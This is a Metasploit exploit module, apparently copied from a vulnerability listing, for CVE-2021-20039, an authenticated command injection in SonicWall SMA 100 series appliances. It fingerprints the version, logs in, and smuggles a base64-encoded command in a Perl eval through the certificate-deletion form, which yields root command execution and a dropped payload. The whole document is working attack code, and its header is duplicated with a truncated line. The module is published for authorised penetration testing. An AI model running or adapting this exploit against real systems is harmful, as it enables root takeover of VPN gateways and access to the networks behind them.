Vulnerabilities

SonicWall SMA 100 Series Authenticated Command Injection

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exp ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'SonicWall SMA 100 Series Authenticated Command Injection',
'Description' => %q{
This module exploits an authenticated command injection vulnerability
in the SonicWall SMA 100 series web interface. Exploitation results in
command execution as root. The affected versions are:

- 10.2.1.2-24sv and below
- 10.2.0.8-37sv and below
- 9.0.0.11-31sv and below
},
'License' => MSF_LICENSE,
'Author' => [
'jbaines-r7' # Vulnerability discovery and Metasploit module
],
'References' => [
[ 'CVE', '2021-20039' ],
[ 'URL', 'https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0026'],
[ 'URL', 'https://www.rapid7.com/blog/post/2022/01/11/cve-2021-20038-42-sonicwall-sma-100-multiple-vulnerabilities-fixed-2'],
[ 'URL', 'https://attackerkb.com/topics/9szJhq46lw/cve-2021-20039/rapid7-analysis']
],
'DisclosureDate' => '2021-12-14',
'Platform' => ['linux'],
'Arch' => [ARCH_X86],
'Privileged' => true,
'Targets' => [
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86],
'Type' => :linux_dropper,
'CmdStagerFlavor' => [ 'echo', 'printf' ]
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'PrependFork' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('USERNAME', [true, 'The username to authenticate with', 'admin']),
OptString.new('PASSWORD', [true, 'The password to authenticate with', 'password']),
OptString.new('SWDOMAIN', [true, 'The domain to log in to', 'LocalDomain']),
OptString.new('PORTALNAME', [true, 'The portal to log in to', 'VirtualOffice'])
])
end

##
# Extract the version number from a javascript include in the login landing page.
# And compare the version against known affected. Affected versions are:
#
# 10.2.1.2-24sv and below
# 10.2.0.8-37sv and below
# 9.0.0.11-31sv and below
##
def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/cgi-bin/welcome'),
'agent' => 'SonicWALL Mobile Connect'
})
return CheckCode::Unknown('Failed to retrieve the version information') unless res&.code == 200

version = res.body.match(/.([0-9.-a-z]+).js" type=/)
return CheckCode::Unknown('Failed to retrieve the version information') unless version

version = version[1]

major, minor, revision, build = version.split('.', 4)
build, point = build.split('-', 2)
print_status("Version found: #{major}.#{minor}.#{revision}.#{build}-#{point}")
point.delete_suffix('sv')

case major
when '9'
return CheckCode::Safe unless minor.to_i == 0 && revision.to_i == 0 && build.to_i <= 11 && point.to_i <= 31
when '10'
return CheckCode::Safe unless minor.to_i == 2

case revision
when '0'
return CheckCode::Safe unless build.to_i <= 8 && point.to_i <= 37
when '1'
return CheckCode::Safe unless build.to_i <= 2 && point.to_i <= 24
else
return CheckCode::Safe
end
else
return CheckCode::Safe
end
CheckCode::Appears('Based on the discovered version.')
end

def login
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/cgi-bin/userLogin'),
'agent' => 'SonicWALL Mobile Connect',
'vars_post' =>
{
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'domain' => datastore['SWDOMAIN'],
'portalname' => datastore['PORTALNAME'],
'login' => 'true',
'verifyCert' => '0',
'ajax' => 'true'
},
'keep_cookies' => true
})

fail_with(Failure::UnexpectedReply, 'Login failed') unless res&.code == 200
fail_with(Failure::NoAccess, 'Login failed') unless res.get_cookies.include?('swap=')
print_good('Authentication successful')
end

##
# Send the exploit in the "CERT" field when "deleting" a certificate. The
# backend requires the payload start with "n". Also, there is a very small
# amount of space to fit the command into (otherwise we'll trigger a bof).
# Finally! The command has a lot of disallowed characters: /$&|>;`^. Which
# is problematically for basically all the payloads. The system also is
# missing useful tools like wget, base64, and curl (10.2 has curl but
# whatever). As such, it seemed the easiest thing to do is wrap the entire
# command in base64 and then use perl to decode/execute it.
##
def execute_command(cmd, _opts = {})
cmd_encoded = Rex::Text.encode_base64(cmd)
perl_eval = "n perl -MMIME::Base64 -e 'system(decode_base64("#{cmd_encoded}"))'"

multipart_form = Rex::MIME::Message.new
multipart_form.add_part('delete', nil, nil, 'form-data; name="buttontype"')
multipart_form.add_part(perl_eval, nil, nil, 'form-data; name="CERT"')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/cgi-bin/viewcert'),
'agent' => 'SonicWALL Mobile Connect',
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
'data' => multipart_form.to_s
}, 5)

if res && res.code != 200
# the response should always be 200, unless meterpreter holds the
# connection open.
fail_with(Failure::UnexpectedReply, 'Only expected 200 OK')
end
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
login
execute_cmdstager(linemax: 40)
end
end